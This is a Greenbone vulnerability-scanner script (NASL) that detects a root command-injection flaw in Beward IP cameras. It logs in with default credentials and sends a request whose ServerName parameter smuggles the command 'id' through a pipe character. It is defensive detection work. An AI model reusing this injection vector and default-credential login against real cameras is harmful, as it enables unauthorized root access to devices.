Beward IP Camera Root RCE Vulnerability

# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.114072");
  script_version("2024-06-28T15:38:46+0000");
  script_tag(name:"cvss_base", value:"8.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:P/A:P");
  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2019-02-13 15:39:42 +0100 (Wed, 13 Feb 2019)");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2019 Greenbone AG");
  script_family("Web application abuses");
  script_name("Beward IP Camera Root RCE Vulnerability");
  script_dependencies("gb_beward_ip_camera_consolidation.nasl", "gb_beward_ip_cameras_default_credentials.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("beward/ip_camera/detected", "beward/ip_camera/credentials");

  script_xref(name:"URL", value:"https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5512.php");

  script_tag(name:"summary", value:"The remote installation of Beward's IP camera software is prone
  to a post-authentication root remote code execution (RCE) vulnerability.");

  script_tag(name:"impact", value:"This issue may be exploited by a remote attacker to
  inject arbitrary system commands and gain root remote code execution.");

  script_tag(name:"insight", value:"The issue exists, because the software allows for injecting commands into
  specific requests.");

  script_tag(name:"vuldetect", value:"Checks if the host responds with simple requested IDs.");

  script_tag(name:"affected", value:"At least versions M2.1.6.04C014 and before.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");

CPE = "cpe:/h:beward";

if(!info = get_app_port_from_cpe_prefix(cpe: CPE, service: "www"))
  exit(0);

CPE = info["cpe"];
port = info["port"];

if(!get_app_location(cpe: CPE, port: port, nofork: TRUE)) # nb: To have a reference to the Detection-VT
  exit(0);

creds = get_kb_list("beward/ip_camera/credentials");
if(!creds)
  exit(0);

foreach cred(creds) {

  url = "/cgi-bin/operator/servetest?cmd=ntp&ServerName=pool.ntp.org|id||&TimeZone=03:00";

  req = http_get_req(port: port, url: url, add_headers: make_array("Accept-Encoding", "gzip, deflate",
                                                                   "Authorization", "Basic " + base64(str: cred)));
  res = http_keepalive_send_recv(port: port, data: req);

  #uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
  if("uid=" >< res && "gid=" >< res && "groups=" >< res) {
    report  = http_report_vuln_url(port: port, url: url);
    report += '\nUsed default credentials for the login and the sent request: (username:password)\n' + cred;
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);